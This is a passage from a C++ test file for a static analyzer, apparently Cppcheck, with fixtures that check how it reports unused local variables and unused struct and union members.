\"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // return unknown variable\n functionVariableUsage(\n \"int func() {\\n\"\n \" return unknown_var;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // return variable is global, but not changed\n functionVariableUsage(\n \"int x = 1;\\n\"\n \"int func() {\\n\"\n \" return x;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:11:6]: (style) Unused variable: c [unusedVariable]\\n\", errout_str());\n\n // changing global variable in return\n functionVariableUsage(\n \"int x = 1;\\n\"\n \"int func() {\\n\"\n \" return x++;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // changing global variable in function body\n functionVariableUsage(\n \"int x = 1;\\n\"\n \"int func() {\\n\"\n \" x++;\\n\"\n \" return 1;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\n \"int x = 1;\\n\"\n \"int func() {\\n\"\n \" --x;\\n\"\n \" return 1;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\n \"int x = 1;\\n\"\n \"int func() {\\n\"\n \" x += 2;\\n\"\n \" return 1;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\n \"int x = 1;\\n\"\n \"int func() {\\n\"\n \" x = 2;\\n\"\n \" return 1;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // global variable use in function body without change\n functionVariableUsage(\n \"int global = 1;\\n\"\n \"int func() {\\n\"\n \" int x = global + 1;\\n\"\n \" return x;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:12:6]: (style) Unused variable: c [unusedVariable]\\n\", errout_str());\n\n // changing global array variable in function body\n functionVariableUsage(\n \"int x[] = {0, 1, 3};\\n\"\n \"int func() {\\n\"\n \" x[0] = 4;\\n\"\n \" return 1;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\n \"int x[] = {0, 1, 3};\\n\"\n \"int func() {\\n\"\n \" *x = 2;\\n\"\n \" return 1;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\n \"int x[] = {0, 1, 3};\\n\"\n \"int func() {\\n\"\n \" *(x) = 2;\\n\"\n \" return 1;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // pointer arithmetic on global array\n functionVariableUsage(\n \"int x[] = {0, 1, 3};\\n\"\n \"int func() {\\n\"\n \" *(x + 1) = 2;\\n\"\n \" return 1;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\n \"int x[][] = {{0, 1}, {2, 3}};\\n\"\n \"int func() {\\n\"\n \" *((x + 1) + 1) = 4;\\n\"\n \" return 1;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\n \"int x[] = {0, 1, 3};\\n\"\n \"int func() {\\n\"\n \" int local = *(x + 1);\\n\"\n \" (void) local;\\n\"\n \" return 1;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:13:6]: (style) Unused variable: c [unusedVariable]\\n\", errout_str());\n\n functionVariableUsage(\n \"int x[] = {0, 1, 3};\\n\"\n \"int func() {\\n\"\n \" int* local = x + 2;\\n\"\n \" (void) local;\\n\"\n \" return 1;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:13:6]: (style) Unused variable: c [unusedVariable]\\n\", errout_str());\n\n functionVariableUsage(\n \"int x[] = {0, 1, 3};\\n\"\n \"int func() {\\n\"\n \" int* local = x + 2;\\n\"\n \" return *local;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\n \"int x[] = {0, 1, 3};\\n\"\n \"int func() {\\n\"\n \" return *(x + 1);\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // changing local variable\n functionVariableUsage(\n \"int func() {\\n\"\n \" int x = 1;\\n\"\n \" x = 2;\\n\"\n \" x++;\\n\"\n \" return x;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:13:6]: (style) Unused variable: c [unusedVariable]\\n\", errout_str());\n\n // variable of user-defined class without side effects\n functionVariableUsage(\n \"class A {};\\n\"\n \"A func() {\\n\"\n \" A a;\\n\"\n \" return a;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" A x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:12:6]: (style) Unused variable: c [unusedVariable]\\n\", errout_str());\n\n // variable of user-defined class with side effects\n functionVariableUsage(\n \"class A {\\n\"\n \"public:\\n\"\n \" unknown_type u{1};\\n\"\n \"};\\n\"\n \"int func() {\\n\"\n \" A a;\\n\"\n \" return 1;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // unknown type variable\n functionVariableUsage(\n \"int func() {\\n\"\n \" unknown_type a;\\n\"\n \" return 1;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // nested clean function call\n functionVariableUsage(\n \"int another_func() { return 1;}\\n\"\n \"int func() {\\n\"\n \" another_func();\\n\"\n \" return 1;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:12:6]: (style) Unused variable: c [unusedVariable]\\n\", errout_str());\n\n // nested side-effects function call\n functionVariableUsage(\n \"int global = 1;\"\n \"int another_func() {\\n\"\n \" global++;\\n\"\n \" return global;}\\n\"\n \"int func() {\\n\"\n \" another_func();\\n\"\n \" return 1;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // unknown nested function\n functionVariableUsage(\n \"int func() {\\n\"\n \" unknown_func();\\n\"\n \" return 1;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // clean function recursion\n functionVariableUsage(\n \"int func(int i) {\\n\"\n \" if (i != 2) {\\n\"\n \" func(i++);\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \" return i;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func(0)) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:14:6]: (style) Unused variable: c [unusedVariable]\\n\", errout_str());\n\n // indirect clean function recursion\n functionVariableUsage(\n \"void another_func() {\\n\"\n \" func(0);\\n\"\n \"}\\n\"\n \"int func(int i) {\\n\"\n \" if (i != 2) {\\n\"\n \" another_func();\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \" return i;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func(0)) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:17:6]: (style) Unused variable: c [unusedVariable]\\n\", errout_str());\n\n // side-effect function recursion\n functionVariableUsage(\n \"int global = 1;\\n\"\n \"int func(int i) {\\n\"\n \" if (i != 2) {\\n\"\n \" global++;\\n\"\n \" func(i++);\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \" return i;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func(0)) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // multiple returns (side-effect & clean)\n functionVariableUsage(\n \"int func(int i) {\\n\"\n \" if (i == 0) { return 0;}\\n\"\n \" else { return unknownSideEffectFunction(); }\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func(0)) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // multiple clean returns\n functionVariableUsage(\n \"int func(int i) {\\n\"\n \" if (i == 0) { return 0;}\\n\"\n \" else { return i; }\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func(0)) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:11:6]: (style) Unused variable: c [unusedVariable]\\n\", errout_str());\n\n // multiple side-effect returns\n functionVariableUsage(\n \"int func(int i) {\\n\"\n \" if (i == 0) { return unknownSideEffectFunction();}\\n\"\n \" else { return unknown_var; }\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func(0)) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // argument return\n functionVariableUsage(\n \"int func(int i) {\\n\"\n \" return i;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func(0)) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:6]: (style) Unused variable: c [unusedVariable]\\n\", errout_str());\n\n // global variable modifying through function argument\n functionVariableUsage(\n \"char buf[10];\\n\"\n \"int func(char* p) {\\n\"\n \" *p = 0;\\n\"\n \" return 1;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func(buf)) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // global variable modifying through local pointer\n functionVariableUsage(\n \"int global = 1;\\n\"\n \"int func() {\\n\"\n \" int* p = &global;\\n\"\n \" *p = 0;\\n\"\n \" return 1;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // global variable assigning to local pointer, but not modifying\n functionVariableUsage(\n \"int global = 1;\\n\"\n \"int func() {\\n\"\n \" int* p = &global;\\n\"\n \" (void) p;\\n\"\n \" return 1;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:13:6]: (style) Unused variable: c [unusedVariable]\\n\", errout_str());\n\n // global struct variable modification\n functionVariableUsage(\n \"struct S { int x; } s;\\n\"\n \"int func() {\\n\"\n \" s.x = 1;\\n\"\n \" return 1;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // global struct variable without modification\n functionVariableUsage(\n \"struct S { int x; } s;\\n\"\n \"int func() {\\n\"\n \" int y = s.x + 1;\\n\"\n \" return y;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:12:6]: (style) Unused variable: c [unusedVariable]\\n\", errout_str());\n\n // global pointer to struct variable modification\n functionVariableUsage(\n \"struct S { int x; };\\n\"\n \"struct S* s = new(struct S);\\n\"\n \"int func() {\\n\"\n \" s->x = 1;\\n\"\n \" return 1;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // global pointer to struct variable without modification\n functionVariableUsage(\n \"struct S { int x; };\\n\"\n \"struct S* s = new(struct S);\\n\"\n \"int func() {\\n\"\n \" int y = s->x + 1;\\n\"\n \" return y;\\n\"\n \"}\\n\"\n \"class C {\\n\"\n \"public:\\n\"\n \" C() : x(func()) {}\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:13:6]: (style) Unused variable: c [unusedVariable]\\n\", errout_str());\n }\n\n // #5355 - False positive: Variable is not assigned a value.\n void emptyclass() {\n functionVariableUsage(\"class Carla {\\n\"\n \"};\\n\"\n \"class Fred : Carla {\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" Fred fred;\\n\"\n \" throw fred;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // #5355 - False positive: Variable is not assigned a value.\n void emptystruct() {\n functionVariableUsage(\"struct Fred {\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" Fred fred;\\n\"\n \" throw fred;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void structmember1() {\n checkStructMemberUsage(\"struct abc\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \" int c;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) struct member 'abc::a' is never used. [unusedStructMember]\\n\"\n \"[test.cpp:4:9]: (style) struct member 'abc::b' is never used. [unusedStructMember]\\n\"\n \"[test.cpp:5:9]: (style) struct member 'abc::c' is never used. [unusedStructMember]\\n\", errout_str());\n\n checkStructMemberUsage(\"union abc\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \" int c;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) union member 'abc::a' is never used. [unusedStructMember]\\n\"\n \"[test.cpp:4:9]: (style) union member 'abc::b' is never used. [unusedStructMember]\\n\"\n \"[test.cpp:5:9]: (style) union member 'abc::c' is never used. [unusedStructMember]\\n\", errout_str());\n }\n\n void structmember2() {\n checkStructMemberUsage(\"struct ABC\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \" int c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" struct ABC abc;\\n\"\n \" int a = abc.a;\\n\"\n \" int b = abc.b;\\n\"\n \" int c = abc.c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void structmember3() {\n checkStructMemberUsage(\"struct ABC\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \" int c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"static struct ABC abc[] = { {1, 2, 3} };\\n\"\n \"\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" int a = abc[0].a;\\n\"\n \" int b = abc[0].b;\\n\"\n \" int c = abc[0].c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void structmember4() {\n checkStructMemberUsage(\"struct ABC\\n\"\n \"{\\n\"\n \" const int a;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" ABC abc;\\n\"\n \" if (abc.a == 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void structmember5() {\n checkStructMemberUsage(\"struct AB\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \" void reset()\\n\"\n \" {\\n\"\n \" a = 1;\\n\"\n \" b = 2;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" struct AB ab;\\n\"\n \" ab.reset();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void structmember6() {\n checkStructMemberUsage(\"struct AB\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void foo(char *buf)\\n\"\n \"{\\n\"\n \" struct AB *ab = (struct AB *)&buf[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkStructMemberUsage(\"struct AB\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void foo(char *buf)\\n\"\n \"{\\n\"\n \" struct AB *ab = (AB *)&buf[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void structmember7() {\n checkStructMemberUsage(\"struct AB\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void foo(struct AB *ab)\\n\"\n \"{\\n\"\n \" ab->a = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) struct member 'AB::b' is never used. [unusedStructMember]\\n\", errout_str());\n\n checkStructMemberUsage(\"struct AB\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void foo(struct AB _shuge *ab)\\n\"\n \"{\\n\"\n \" ab->a = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) struct member 'AB::b' is never used. [unusedStructMember]\\n\", errout_str());\n }\n\n void structmember8() {\n checkStructMemberUsage(\"struct AB\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void foo(char *ab)\\n\"\n \"{\\n\"\n \" ((AB *)ab)->b = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void structmember9() {\n checkStructMemberUsage(\"struct base {\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct derived : public base {\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void structmember10() {\n // Fred may have some useful side-effects\n checkStructMemberUsage(\"struct abc {\\n\"\n \" Fred fred;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void structmember11() { // #4168\n checkStructMemberUsage(\"struct abc { int x; };\\n\"\n \"struct abc s = {0};\\n\"\n \"void f() { do_something(&s); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkStructMemberUsage(\"struct abc { int x; };\\n\"\n \"struct abc s = {0};\\n\"\n \"void f() { }\");\n TODO_ASSERT_EQUALS(\"abc::x is not used\", \"\", errout_str());\n }\n\n void structmember12() { // #7179\n checkStructMemberUsage(\"#include \\n\"\n \"struct\\n\"\n \"{\\n\"\n \" union\\n\"\n \" {\\n\"\n \" struct\\n\"\n \" {\\n\"\n \" int a;\\n\"\n \" } struct1;\\n\"\n \" };\\n\"\n \"} var = {0};\\n\"\n \"int main(int argc, char *argv[])\\n\"\n \"{\\n\"\n \" printf(\\\"var.struct1.a = %d\\\", var.struct1.a);\\n\"\n \" return 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void structmember13() { // #3088 - struct members required by hardware\n checkStructMemberUsage(\"struct S {\\n\"\n \" int x;\\n\"\n \"} __attribute__((packed));\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void structmember14() { // #6508\n checkStructMemberUsage(\"struct bstr { char *bstart; size_t len; };\\n\"\n \"struct bstr bstr0(void) {\\n\"\n \" return (struct bstr){\\\"hello\\\",6};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void structmember15() { // #3088\n std::list directives;\n directives.emplace_back(\"test.cpp\", 1, \"#pragma pack(1)\");\n checkStructMemberUsage(\"\\nstruct Foo { int x; int y; };\", dinit(CheckStructMemberUsageOptions, $.directives = &directives));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void structmember_extern() {\n // extern struct => no false positive\n checkStructMemberUsage(\"extern struct AB\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"} ab;\\n\"\n \"\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" ab.b = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // global linkage => no false positive\n checkStructMemberUsage(\"struct AB\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"} ab;\\n\"\n \"\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" ab.b = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // static linkage => error message\n checkStructMemberUsage(\"static struct AB\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"} ab;\\n\"\n \"\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" ab.b = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) struct member 'AB::a' is never used. [unusedStructMember]\\n\", errout_str());\n\n checkStructMemberUsage(\"struct A\\n\"\n \"{\\n\"\n \" static const int a = 0;\\n\"\n \"};\\n\"\n \"\\n\"\n \"int foo()\\n\"\n \"{\\n\"\n \" return A::a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void structmember_sizeof() {\n checkStructMemberUsage(\"struct Header {\\n\"\n \" uint8_t message_type;\\n\"\n \"}\\n\"\n \"\\n\"\n \"input.skip(sizeof(Header));\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkStructMemberUsage(\"struct Header {\\n\"\n \" uint8_t message_type;\\n\"\n \"}\\n\"\n \"\\n\"\n \"input.skip(sizeof(struct Header));\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkStructMemberUsage(\"struct S { int a, b, c; };\\n\" // #6561\n \"int f(FILE * fp) {\\n\"\n \" S s;\\n\"\n \" ::fread(&s, sizeof(S), 1, fp);\\n\"\n \" return s.b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void structmember16() {\n checkStructMemberUsage(\"struct S {\\n\"\n \" static const int N = 128;\\n\" // <- used\n \" char E[N];\\n\" // <- not used\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (style) struct member 'S::E' is never used. [unusedStructMember]\\n\", errout_str());\n }\n\n void structmember17() { // #10591\n checkStructMemberUsage(\"struct tagT { int i; };\\n\"\n \"void f() {\\n\"\n \" struct tagT t{};\\n\"\n \" t.i = 0;\\n\" // <- used\n \" g(t);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkStructMemberUsage(\"typedef struct tagT { int i; } typeT;\\n\"\n \"void f() {\\n\"\n \" struct typeT t{};\\n\"\n \" t.i = 0;\\n\" // <- used\n \" g(t);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkStructMemberUsage(\"struct T { int i; };\\n\"\n \"void f() {\\n\"\n \" struct T t{};\\n\"\n \" t.i = 0;\\n\" // <- used\n \" g(t);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // due to removeMacroInClassDef()\n }\n\n void structmember18() { // #10684\n checkStructMemberUsage(\"struct S { uint8_t padding[500]; };\\n\"\n \"static S s = { 0 };\\n\"\n \"uint8_t f() {\\n\"\n \" uint8_t* p = (uint8_t*)&s;\\n\"\n \" return p[10];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (style) struct member 'S::padding' is never used. [unusedStructMember]\\n\", errout_str());\n\n checkStructMemberUsage(\"struct S { uint8_t padding[500]; };\\n\"\n \"uint8_t f(const S& s) {\\n\"\n \" std::cout << &s;\\n\"\n \" auto p = reinterpret_cast(&s);\\n\"\n \" return p[10];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (style) struct member 'S::padding' is never used. [unusedStructMember]\\n\", errout_str());\n\n checkStructMemberUsage(\"struct S { int i, j; };\\n\" // #11577\n \"void f(S s) {\\n\"\n \" void* p = (void*)&s;\\n\"\n \" if (s.i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:19]: (style) struct member 'S::j' is never used. [unusedStructMember]\\n\", errout_str());\n }\n\n void structmember19() {\n checkStructMemberUsage(\"class C {};\\n\" // #10826\n \"struct S {\\n\"\n \" char* p;\\n\"\n \" std::string str;\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"void f(S* s) {}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) struct member 'S::p' is never used. [unusedStructMember]\\n\"\n \"[test.cpp:4:17]: (style) struct member 'S::str' is never used. [unusedStructMember]\\n\"\n \"[test.cpp:5:7]: (style) struct member 'S::c' is never used. [unusedStructMember]\\n\",\n errout_str());\n\n checkStructMemberUsage(\"class C {};\\n\"\n \"struct S {\\n\"\n \" char* p;\\n\"\n \" std::string str;\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"void f(S& s) {}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) struct member 'S::p' is never used. 